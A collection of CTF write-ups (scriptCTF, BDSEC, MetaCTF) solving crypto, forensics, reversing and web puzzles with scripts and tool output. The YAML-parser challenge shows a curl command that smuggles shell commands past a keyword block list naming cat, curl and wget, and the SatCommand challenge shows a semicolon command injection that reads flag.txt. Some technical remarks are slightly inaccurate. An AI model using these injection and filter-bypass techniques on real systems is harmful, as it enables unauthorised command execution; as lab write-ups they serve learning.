These are just the writeups of about 25 challenges I’ve tried at MetaCTF.
Description:
Just a simple modulo challenge
Information provided:
Server's code:
#!/usr/local/bin/python3
import os
secret = int(os.urandom(32).hex(),16)
print("Welcome to Mod!")
num=int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess==secret:
print(open('flag.txt').read())
else:
print("Incorrect!")
Solution:
I saw num = int(input()) so both positive and negative number was accepted
With properties of module, if I have mod = a % b, I can get a = b*c + mod with c = a/b
Follow that, I put num = -1 and I thought that I could get secret = mod + 1 with mod was printed
Flag: scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_a74b01dd41e5}
Note: If use other negative number, it will make more confusing when calculate
Description:
The image size is 500x500. You might want to remove some stuff... Note: Some may call it guessy!
Information provided:
Challenge provided a file "coordinates.txt" with each line was a coordinates (x,y)
Solution:
"The image size is 500x500" so I thought that I could create a full white image with that size and each coordinate in `txt` file was a black dot.
However, when I finished, I got full black image → There were several coordinates which duplicated. Therefore, I had to remove them:
from collections import Counter
def remove_all_duplicates(input_file, output_file):
counter = Counter()
with open(input_file, "r") as f:
for line in f:
line = line.strip()
if not line:
continue
line = line.replace("(", "").replace(")", "")
try:
x, y = map(int, line.split(","))
counter[(x, y)] += 1
except ValueError:
continue
with open(output_file, "w") as f:
for coord, count in counter.items():
if count == 1: # Chỉ lưu tọa độ xuất hiện đúng 1 lần
f.write(f"({coord[0]},{coord[1]})\n")
print(f"✅ Done. Save at {output_file}")
if __name__ == "__main__":
remove_all_duplicates("coordinates.txt", "new_coordinatess.txt")
After that, I printed black dot into white image:
from PIL import Image, ImageDraw
def load_coordinates(filename, size=500):
coords = []
with open(filename, "r") as f:
for line in f:
line = line.strip()
if not line:
continue
line = line.replace("(", "").replace(")", "")
try:
x, y = map(int, line.split(","))
if 0 <= x < size and 0 <= y < size:
coords.append((x, y))
except ValueError:
continue
return coords
def draw_coordinates(coords, size=500, outfile="output.png"):
img = Image.new("RGB", (size, size), (0,0, 0))
draw = ImageDraw.Draw(img)
for x, y in coords:
draw.point((x, y), fill=(255, 255, 255))
img.save(outfile)
print(f"✅ Done {outfile}, with {len(coords)} coordinates.")
if __name__ == "__main__":
coords = load_coordinates("new_coordinates.txt", size=500)
draw_coordinates(coords, size=500, outfile="final.png")
Flag: scriptCTF{5ub7r4c7_7h3_n01s3}
Note: In received image, character "5" look like "6" but base on name of challenge "substract" I can guess it because "5" → "S"
Description:
Find the sum of nums[i] for i in [l, r] (if there are any issues with input/output format, plz open a ticket)
Information provided:
Server's code:
#!/usr/bin/env python3
import random
import subprocess
import sys
import time
start = time.time()
n = 123456
nums = [str(random.randint(0, 696969)) for _ in range(n)]
print(' '.join(nums), flush=True)
ranges = []
for _ in range(n):
l = random.randint(0, n - 2)
r = random.randint(l, n - 1)
ranges.append(f"{l} {r}") #inclusive on [l, r] 0 indexed
print(l, r)
big_input = ' '.join(nums) + "\n" + "\n".join(ranges) + "\n"
proc = subprocess.Popen(
['./solve'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=big_input)
out_lines = stdout.splitlines()
ans = [int(x) for x in out_lines[:n]]
urnums = []
for _ in range(n):
urnums.append(int(input()))
if ans != urnums:
print("wawawawawawawawawa")
sys.exit(1)
if time.time() - start > 10:
print("tletletletletletle")
sys.exit(1)
print(open('flag.txt', 'r').readline())
Solutions:
Server do not check any except "ans == urnums" so at that time I thought I had to know what "./solve" printed
So I could use this code:
# pip install pwntools
from pwn import *
import sys
HOST, PORT = "play.scriptsorcerers.xyz", 10105
n = 123456 # theo script gốc
def recv_until_have_n_ints(r):
"""Đọc nhiều dòng cho đến khi gom đủ n số ở phần nums đầu tiên."""
buf = b""
while True:
# server thường gửi nums thành 1 dòng rất dài; nhưng để chắc ăn, gom đến khi đủ n số
chunk = r.recvline(timeout=60)
if not chunk:
break
buf += chunk
tokens = buf.split()
if len(tokens) >= n:
# giữ lại đúng n số đầu, phần dư (nếu có) trả lại cho stream xử lý tiếp
nums = list(map(int, tokens[:n]))
leftover = b" ".join(tokens[n:]) + b"\n" if len(tokens) > n else b""
return nums, leftover
raise RuntimeError("Không nhận đủ nums từ server")
def main():
r = remote(HOST, PORT)
1) Nhận nums (đôi khi server có banner/giới thiệu, cứ đọc cho đến khi gom đủ n số)
nums, leftover = recv_until_have_n_ints(r)
# 2) Nhận tiếp n dòng ranges (có thể một phần đã nằm trong leftover)
ranges = []
# ưu tiên xử lý phần dư trước
if leftover.strip():
for line in leftover.strip().split(b"\n"):
if not line.strip():
continue
l, rr = map(int, line.split())
ranges.append((l, rr))
while len(ranges) < n:
line = r.recvline(timeout=60)
if not line:
break
line = line.strip()
if not line:
continue
l, rr = map(int, line.split())
ranges.append((l, rr))
if len(nums) != n or len(ranges) != n:
print(f"Thiếu dữ liệu: len(nums)={len(nums)}, len(ranges)={len(ranges)}")
r.close()
sys.exit(1)
# 3) Prefix sum
prefix = [0]*(n+1)
s = 0
for i, v in enumerate(nums, 1):
s += v
prefix[i] = s
# 4) Tính đáp án cho từng (l, r)
out_lines = []
for l, rr in ranges:
out_lines.append(str(prefix[rr+1] - prefix[l]))
payload = "\n".join(out_lines) + "\n"
# 5) Gửi lại toàn bộ một lần (nhanh và chắc ăn)
r.send(payload.encode())
# 6) Nhận flag
try:
print(r.recvall(timeout=30).decode(errors="ignore"))
finally:
r.close()
if __name__ == "__main__":
main()
In Terminal tab of VSCode:
[x] Opening connection to play.scriptsorcerers.xyz on port 10105
[x] Opening connection to play.scriptsorcerers.xyz on port 10105: Trying 34.174.160.24
[+] Opening connection to play.scriptsorcerers.xyz on port 10105: Done
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 42B
[+] Receiving all data: Done (42B)
[*] Closed connection to play.scriptsorcerers.xyz port 10105
scriptCTF{1_w4n7_m0r3_5um5_fad96246f38a}
Flag: scriptCTF{1_w4n7_m0r3_5um5_fad96246f38a}
Description:
so sad cause no flag in pdf :(
Information provided:
Challenge provided a pdf file with this: "thx for comming but no flag here :)"
Solution:
Because "so sad cause no flag in pdf :(" so at that time I thought I had to open this pdf file with other to get other file and `binwalk` was the best approach
mduc7@MinhDuc:/mnt/d/project/PythonProject/WU-ScriptCTF/pdf$ binwalk challenge.pdf
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PDF document, version: "1.4"
283 0x11B Zlib compressed data, default compression
1521 0x5F1 Copyright string: "copyright/ordfeminine 172/logicalnot/.notdef/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu 183/periodcen"
From that result, I saw pdf file had other file in it so I wanted to open it
mduc7@MinhDuc:/mnt/d/project/PythonProject/WU-ScriptCTF/pdf$ binwalk -e challenge.pdf
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PDF document, version: "1.4"
283 0x11B Zlib compressed data, default compression
1521 0x5F1 Copyright string: "copyright/ordfeminine 172/logicalnot/.notdef/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu 183/periodcen"
Added "-e" to extract pdf file with "binwalk" and created a new folder which contained "zlib" file. After that, at file "11B" - where had information of "11b.ZLIB"
Opened and get flag
Flag: scriptCTF{pdf_s7r34m5_0v3r_7w17ch_5tr34ms}
Description:
I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}
Information provided:
Challenge provided a file with string: "ᒲ╎リᒷᓵ∷ᔑ⎓ℸ Ì£ ╎á“⎓âšãƒª"
Solution:
Challenge told that this string related to Minecraft and enchantment table. I found on Internet, the enchantment table use Standard Galactic Alphabet (SGA) which was a hieroglyphic system, each SGA character equivalent to Latinh character
So I had to convert that string into SGA → Translate SGA to Latinh → Get flag
To convert that string, I used a online tool: https://www.linestarve.com/tools/mojibake/ and default settings
Decoded string: ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ
Used other online tool to translate: https://www.dcode.fr/standard-galactic-alphabet
Translated string: MINECRAFTISFUN
Flag: scriptCTF{MINECRAFTISFUN}
Description:
John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe's secrets?
Information provided:
Server's code:
import os
from pwn import xor
print("With the Secure Server, sharing secrets is safer than ever!")
enc = byte.fromhex(input("Enter the secret, XORed by your key (in hex): ").strip())
key = os.urandom(32)
enc2 = xor(enc,key).hex()
print(f"Double encrypted secret (in hex): {enc2}")
dec = bytes.fromhex(input("XOR the above with your key again (in hex): ").strip())
secret = xor(dec,key)
print("Secret received!")
Additionally, challenge provided a `.pcap` file which included some data exchanged between server and user
Solution:
At that time, I saw server code was very simple with only XOR and 2 keys:
1. origin XOR key_user = enc
2. enc XOR key_server = enc2
3. enc2 XOR key_user = dec
4. dec XOR key_server = secret
Open pcap file and find the packet 6, 8, 10 had data of these strings, copied it ad Hex dump and pasted to Cypherchef
enc = 151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03
enc2 = e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70
dec = 87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e
I used a simple Python script to find flag:
import pwn as xor
enc_hex = "151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03"
enc2_hex = "e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70"
dec_hex = "87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e"
enc = bytes.fromhex(enc_hex)
enc2 = bytes.fromhex(enc2_hex)
dec = bytes.fromhex(dec_hex)
key_server = b''
for i,j in zip(enc,enc2):
key_server += bytes([i^j])
print(f"Key server: {key_server.hex()}")
secret = b''
for i,j in zip(dec, key_server):
secret += bytes([i^j])
print(f"Secret: {secret}")
Flag: scriptCTF{x0r_1s_not_s3cur3!!!!}
Description:
i accidentally vanished my flag, can u find it for me
Information provided:
Challenge provided a .img file which was a disk image
Solution:
I had a deep see in this disk image with `fdisk`:
fdisk -l stick.img
Result:
Disk stick.img: 24 MiB, 25165824 bytes, 49152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000
Created mapping:
sudo kpartx -av stick.img
sudo mkdir -p /mnt/stick
sudo mount -o loop stick.img /mnt/stick2
After that, accessed to the folder "stick2" but nothing related to flag in here but at "random_thoughts.txt" I saw: "i wonder where i put the flag. did i palm it somewhere?". The word "palm" in magic related to hide something in hand so I thought I had been fooled with this approach
Accessed again to folder which saved "stick.img", I used "hexdump" and saw below at the end:
00062e00 1f 8b 08 08 ca 78 79 68 00 03 66 6c 61 67 2e 74 |.....xyh..flag.t|
00062e10 78 74 00 2b 4e 2e ca 2c 28 71 0e 71 ab 36 8c cf |xt.+N..,(q.q.6..|
00062e20 31 28 33 8e cf 35 31 33 4c 8e 37 2f 32 4c ce 36 |1(3..513L.7/2L.6|
00062e30 ad e5 02 00 0b a1 b6 db 1f 00 00 00 00 00 00 00 |................|
00062e40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Based on that, I used "binwalk":
Result:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
404992 0x62E00 gzip compressed data, has original file name: "flag.txt", from Unix, last modified: 2025-07-17 22:27:22
This revealed that "stick.img" had a ".gz" file start at offset "404992" and origin name was "flag.txt" → Clearly this was what I need to open
Used "dd" to extract "gzip" from disk image:
dd if=stick.img bs=1 skip=404992 of=flag.gz
Flag: scriptCTF{1_l0v3_m461c_7r1ck5}
Description:
Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)
Information provided:
n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965
n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284
n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630
e = 3
Character in this challenge is Chinese and this challenge relate to RSA so I think about CRT (Chinese Remainder Theorem)
Solution:
"e" so small so I thought I could use m_{i}=c^{1/e} to get 3 numbers and combined it to get flag but this was I got:
Bi....pT2p.@.'Xy51.. 3..d.8d&.fgS40...B.#%2r6.."(t.#D"I$.&8.V6..Y.P.p2X.(.' IY..67PW#.is.b9. q.7..u4.EvFS.6!qG`&3'f.g.`..%.5..q..U3..R.`.2..GR..P(XE.c..B$.
So I had to use other approach. At first, I checked whether each pair of these numbers had "gcd = 1" with Python:
def la_nguyen_to_cung_nhau(a, b, c):
# Count GCD
gcd_ab = math.gcd(a, b)
gcd_abc = math.gcd(gcd_ab, c)
return gcd_abc == 1
if la_nguyen_to_cung_nhau(c1, c2, c3):
print("Correct")
else:
print("Incorrect")
And result revealed that "Correct"
From this point, I found I could use `CRT (Chinese Remainder Theorem)` : If a,b,c have "gcd(a,b,c) = 1", then this system of residual equations has a unique solution modulo their product: N=a.b.c
According that, I got:
N=1786409259724871543109974890194321592399590231455787269427317051765963260917566525238725563506301211910494676008939419421730429883710311626694384193057346102870417830083208238353975460992827262327959538494906758602557434314130958157310583224713237293318566369040898788487966022114698274593911472572933743186977114744840161942064379002917683887727835595588159837838775505449054437676945058703145773084374444947096225297752719607741172313839958226309731562988750940806116363582751731727461017493745795643992439806678840104092904421513229652904103320791826726825611657663383710011675590809537286574818410024561858604049345496343298486556228720738926202514684858933996192454524011054228165339352159653894727322672799307486357888029338313624410759207392645999902149127915008183444598627689242854664608456315227808819606464444471584644052947229468096355728253393790052462450015358604511769574746330706637999585802243192251736584617
After that, found M_{i} = N / n_{i}
Next: y_i \equiv M_i^{-1} \pmod{n_i} \to M_i \cdot y_i \equiv 1 \pmod{n_i}
At last: C \equiv (c_1 M_1 y_1 + c_2 M_2 y_2 + c_3 M_3 y_3) \mod N
Because, this challenge didnt have a big message so I could guest C = m^3
Used a simple Python code for all steps:
from Crypto.Util.number import long_to_bytes, inverse
import math
from gmpy2 import iroot
n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965
n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284
n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630
e = 3
# Find gcd(a,b,c)
def la_nguyen_to_cung_nhau(a, b, c):
# Tính GCD của ba số
gcd_ab = math.gcd(a, b)
gcd_abc = math.gcd(gcd_ab, c)
return gcd_abc == 1
if la_nguyen_to_cung_nhau(c1, c2, c3):
print("Correct")
else:
print("Incorrect") #Result was correct
mul = n1 * n2 * n3 # Count N
M1, M2, M3 = 0, 0, 0
M1 = mul// n1 # Count M_i
M2 = mul// n2
M3 = mul// n3
y1,y2,y3 = 0,0,0 # Count y_i
y1 = inverse(M1, n1)
y2 = inverse(M2, n2)
y3 = inverse(M3, n3)
C = c1 * y1 * M1 + c2 * y2 * M2 + c3 * y3 * M3
C = C % mul # Count C
# convert C to string to print easier
print(str(C))
# Giải mã C với e = 3
m, exact = iroot(C, 3) # Find 3rd root
if exact:
print("m =", m) # Count m but m so big so I had to put its value it after
m = 6043384257179851698402764196375123148896204465004932561416076042681453019986274768617287472758478984797562240169432633876557803963678627742607532956455442
plaintext = int.to_bytes(m, (m.bit_length() + 7) // 8, "big")
print(plaintext)
Result: b"scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12\x12"
Flag: scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}
Description:
A classified transmission was intercepted during a quantum handshake exchange. The payload appears to be multi-layered and heavily obfuscated. Analysts believe that maybe multiple encryption layers are used, but it's unclear which ones are real and which are decoys.
Information provided:
Message: FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s=
File: quantum.py
Solve:
See that this string is encoded by a simple algorithm, base on H and G function.
Decode by Python script:
from Crypto.Util.number import *
import hashlib
import base64
X = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476,
0xC3D2E1F0, 0x76543210, 0xFEDCBA98, 0x89ABCDEF]
def G(a, b):
d = a
for i in range(b):
if i % 4 == 0:
d = hashlib.sha256(d).digest()
elif i % 4 == 1:
d = hashlib.blake2b(d, digest_size=32).digest()
elif i % 4 == 2:
d = hashlib.md5(d).digest() * 2
else:
d = hashlib.sha1(d).digest() + d[:12]
return d
def reverse_H(r2, k):
q = bytearray()
for i, s in enumerate(r2):
# Undo XOR with X
s1 = s ^ (X[i % len(X)] & 0xFF)
# Undo rotation: s1 = ((s << 3) | (s >> 5)) & 0xFF
s = ((s1 >> 3) | (s1 << 5)) & 0xFF
# Undo XOR with key
q.append(s ^ k[i % len(k)])
return bytes(q)
# Decode base64 input
enc = "FL6gWSgGl71j8RANN2yzz9XckwawQ8MXqE7IAOVygOclZiHgi161L7s="
r2 = base64.b64decode(enc)
# Compute key
d = G(b"simple_seed_123", 5)
# Reverse H to get msg
msg = reverse_H(r2, d)
print(msg.decode())
Flag: BDSEC{0bfusc4t10n_c4nn0t_h1d3_b4d_cr7pt0}
Description:
The devs got lazy and decided to use a simple text-based configuration parser. Unfortunately, they also exposed it to the public. Can you exploit it and find the hidden flag?The server is expecting a plain text payload, but what happens when you send it some YAML?
Information provided:
File: player_file
Solve:
In sever.js I found:
const data = yaml.load(req.body);
const command = data.command;
if (command) {
exec(command, ...);
}
This reveal that sever use exec to excute the command (Remote Code Excution - RCE)
However this web block several commands and keywords
if (req.body.includes("flag") || req.body.includes("cat") || ...) {
return res.status(403).send("No flags!");
}
if (req.body.includes("\\") || req.body.includes("/") || ...) {
return res.status(403).send("Hacking attempt detected!");
}
So I cannot use: flag, cat, curl, wget, echo, /, \, <, !!
Therefore, I have to use curl
curl -X POST http://45.79.9.104:3000/ \
-H "Content-Type: text/plain" \
--data-binary $'command: |\n F=f;L=l;A=a;G=g;T=t;X=x;\n awk \x27{print}\x27 "$F$L$A$G.$T$X$T"'
This can bypass the limitation of web and get the flag by using variables to put flag.txt
In this command, awk is a command work as cat but acceptable by this web, x27 is hexadecimal of ` in ASCII
Additionally, $F$L$A$G.$T$X$T combine together to get string "flag.txt"
Flag: BDSEC{094ae1350eefe059b84faa0bd9ce2588}
Question:
Read the poem in file below and find the date
Flag forrmat: BDSEC{dd_mm_yyyy}
Information provided:
File: Riddle-of-the-child.txt
Solve:
I think this date relate to a history event because:
In history, I remember that a Pope want to change from Julius calendar to Gregorian calendar (which use to now) in 1582
Because this change, in several regions, 4/10/1582 immediately followed by 15/10/1582 → 10 days disappeared
So the date which I have to find is: 4/10/1582
Flag: BDSEC{04_10_1582}
Description:
After several long years, you finally found yourself on board the digital buccaneer. You know the treasure must be close, but searching the ship's navigation hasn't helped at all! Can you steal the pirate's booty? Access the site here.
Information provided:
Site: here
Solve:
Find each tab Main Deck, Crew, Ship Detais, History I found "Smart explorers always check /sitemap.xml and /robots.txt first!"
So I think I can access "http://digitalbuccaneer.chals.mctf.io/robots.txt" or "http://digitalbuccaneer.chals.mctf.io/sitemap.xml" to find the flag and it works
When access to the sitemap.xml I see "SECRET TREASURE LOCATION - Do not tell the crew" with other link: http://digitalbuccaneer.chals.mctf.io/treasure-chamber
Access to this I found the flag
Flag: MetaCTF{y0u_f0und_7h3_tr34sur3_m4p_4nd_g0t_7h3_f14g}
Description:
We're prototyping a new system for grabbing telemetry from our CubeSat, can you give it a quick test to make sure it's safe to run?
Information Provided:
Sever: kubenode.mctf.io 31008
File: SatCommand
Solve:
Use ltrace and strings I found that scan used ls and combine with user input string
system("ls -l ./satellite/" + user_input + " 2>/dev/null");
I think I can access to flag.txt by cat but it block user use several commands: cat, ls. cd, /,...
Therefore, I used other command sed which work as cat for line by line text but not banned
Additionally, I used ; instead / because / was banned
scan systems; sed p flag.txt
Result:
[DEBUG] Executing command: ls -l ./satellite/systems; sed -n p flag.txt 2>/dev/null
[SCANNING]: systems; sed -n p flag.txt
total 8
-rwxr-xr-x 1 nobody nobody 18 Jun 26 21:38 power.dat
-rwxr-xr-x 1 nobody nobody 157 Jun 26 21:38 system.log
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
Flag: MetaCTF{a7_l3a$t_r3al_c0mm4nd_4nd_c0ntr0l_u53s_3ncryp710n}
Description:
I wanted to make a CTF challenge based on one of my favorite comic strips, but there wasn't much to go off of. I ended up making a kinda dusty looking crypto challenge, can you figure out what it's saying?
Information provided:
Image: here
Solve:
Easy recognize this is Pigpen cipher which can solve by draft on paper or use a simple tool on Internet
Flag: MetaCTF{COMICALLYDECODED}
Description:
All the wizards keep one upping each other, now they're talking to each other about "Magic Bytes" whatever that means.... Anyway, they cast a spell on this image, and now I can't view it, can you cure this curse to recover the original image?
Download the corrupted image here.
You may want to use a hex editor tool. For example, check out HexEd.it. Try comparing this file to any other .jpg image.
Information provided:
Image: magical_meta.jpg
Solve:
Download the image, I got a jpg file and I could not open it by Photo on Windows
I used Hex.it for see what happened in this file and I found that the header of this file was replaced. This can be the reason why this file cannot read bu Windows
The header of a .jpg file is FF D8 FF E0 but in this file is 4D 45 54 41
There are 2 ways to change header of this file
First, I can use this command with WSL:
printf '\xFF\xD8\xFF\xE0' | dd of=magical_meta.jpg bs=1 seek=0 count=4 conv=notrunc
Second, I can use hexedit with WSL for easier
hexdedit magical_meta.jpg
After that I can use keyboard to change bytes what I want
Both ways give to me a image have a flag string on it
Flag: MetaCTF{solv1ng_th3_m4gical_m3ta}
Description:
Help! I was exploring a harbor and got lost. Can you help me figure out what's here?
Try scanning it to discover what's open. There's a common tool used for this that starts with "n."
Information provided:
Sever: here
Solve:
Base on recommend of question about port and starts with "n" → Use Nmap for find flag in open port
Use Nmap Zenmap GUI, I got this:
PORT STATE SERVICE
80/tcp open http
443/tcp open https
8888/tcp open sun-answerbook
The suspicious port is 8888 so I connect to this port and easy to get flag
Flag: MetaCTF{harbor_clearance_granted}
Description:
Move along, NOThing to see here, no flags in sight...
Information provided:
File: NothingToC
Solve:
Use Ghidra with Decompiler Explorer
This have a lot of lines but I found a function which the most valuable
undefined8 FUN_001010c0(void)
{
int iVar1;
time_t tVar2;
char *pcVar3;
size_t sVar4;
undefined8 uVar5;
byte *pbVar6;
byte *pbVar7;
long in_FS_OFFSET;
byte local_138 [32];
byte local_118 [28];
byte local_fc [236];
long local_10;
pbVar6 = local_138;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_138[0] = 0xb2;
local_138[1] = 0x9a;
local_138[2] = 0x8b;
local_138[3] = 0x9e;
local_138[4] = 0xbc;
local_138[5] = 0xab;
local_138[6] = 0xb9;
local_138[7] = 0x84;
local_138[8] = 200;
local_138[9] = 0x97;
local_138[10] = 0x96;
local_138[0xb] = 0xca;
local_138[0xc] = 0xa0;
local_138[0xd] = 0x96;
local_138[0xe] = 0xca;
local_138[0xf] = 0xa0;
local_138[0x10] = 0x91;
local_138[0x11] = 0xcf;
local_138[0x12] = 0x8b;
local_138[0x13] = 0xa0;
local_138[0x14] = 0x8b;
local_138[0x15] = 0x97;
local_138[0x16] = 0xcc;
local_138[0x17] = 0xa0;
local_138[0x18] = 0x88;
local_138[0x19] = 0xcb;
local_138[0x1a] = 0x86;
local_138[0x1b] = 0x82;
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
puts(" === NOTing To C Flag Checker === ");
puts("Ready to check your flag? Let\'s see what you\'ve got!\n");
printf("Enter the flag to check: ");
pcVar3 = fgets((char *)local_118,0x100,stdin);
if (pcVar3 == (char *)0x0) {
puts("Hmm, seems like you\'re having trouble typing...");
uVar5 = 1;
}
else {
sVar4 = strcspn((char *)local_118,"\n");
local_118[sVar4] = 0;
sVar4 = strlen((char *)local_118);
if (sVar4 == 0x1c) {
pbVar7 = local_118;
do {
if (*pbVar6 != (byte)~*pbVar7) goto LAB_001011ba;
pbVar7 = pbVar7 + 1;
pbVar6 = pbVar6 + 1;
} while (pbVar7 != local_fc);
puts("\nCONGRATULATIONS!");
printf("The flag is: %s\n",local_118);
}
else {
printf("Oops! Your flag is %zu characters long, but I\'m looking for exactly %d characters.\n"
,sVar4,0x1c);
puts("Maybe count your characters next time?");
LAB_001011ba:
iVar1 = rand();
switch(iVar1 % 6) {
case 0:
puts("Nice try, but that\'s NOT it!");
break;
case 1:
puts("Hmm... that does NOT look right...");
break;
case 2:
puts("NOT quite it! Keep trying!");
break;
case 3:
puts("Incorrect! But do NOT give up!");
break;
case 4:
puts("That\'s NOT the flag I\'m looking for!");
break;
case 5:
puts("NOPE! This flag is NOT what I expected.");
}
}
uVar5 = 0;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return uVar5;
}
Read the code I found it use NOT bitwise to decode the flag
At first, it require user put a string 28 characters
After that, compare flag and user input with NOT bitwise
Flag save at local_138 and input save at local_118
The main compare part:
...
else {
sVar4 = strcspn((char *)local_118,"\n");
local_118[sVar4] = 0;
sVar4 = strlen((char *)local_118);
if (sVar4 == 0x1c) {
pbVar7 = local_118;
do {
if (*pbVar6 != (byte)~*pbVar7) goto LAB_001011ba; ->start compare
pbVar7 = pbVar7 + 1;
pbVar6 = pbVar6 + 1;
} while (pbVar7 != local_fc);
puts("\nCONGRATULATIONS!");
printf("The flag is: %s\n",local_118);
}
else {
printf("Oops! Your flag is %zu characters long, but I\'m looking for exactly %d characters.\n"
,sVar4,0x1c);
puts("Maybe count your characters next time?");
Each value of ~local_138 = local_118 → ~flag[i] = input[i] with i is "0x.."
So I can use a simple Python script to decode
local_138 = [
0xb2, 0x9a, 0x8b, 0x9e, 0xbc, 0xab, 0xb9, 0x84,
0xc8, 0x97, 0x96, 0xca, 0xa0, 0x96, 0xca, 0xa0,
0x91, 0xcf, 0x8b, 0xa0, 0x8b, 0x97, 0xcc, 0xa0,
0x88, 0xcb, 0x86, 0x82
]
#~b and 0xFF for ensure the negative numbers can change to positive numbers
flag = ''.join([chr(~b & 0xFF) for b in local_138])
print(flag)
Flag: MetaCTF{7hi5_i5_n0t_th3_w4y}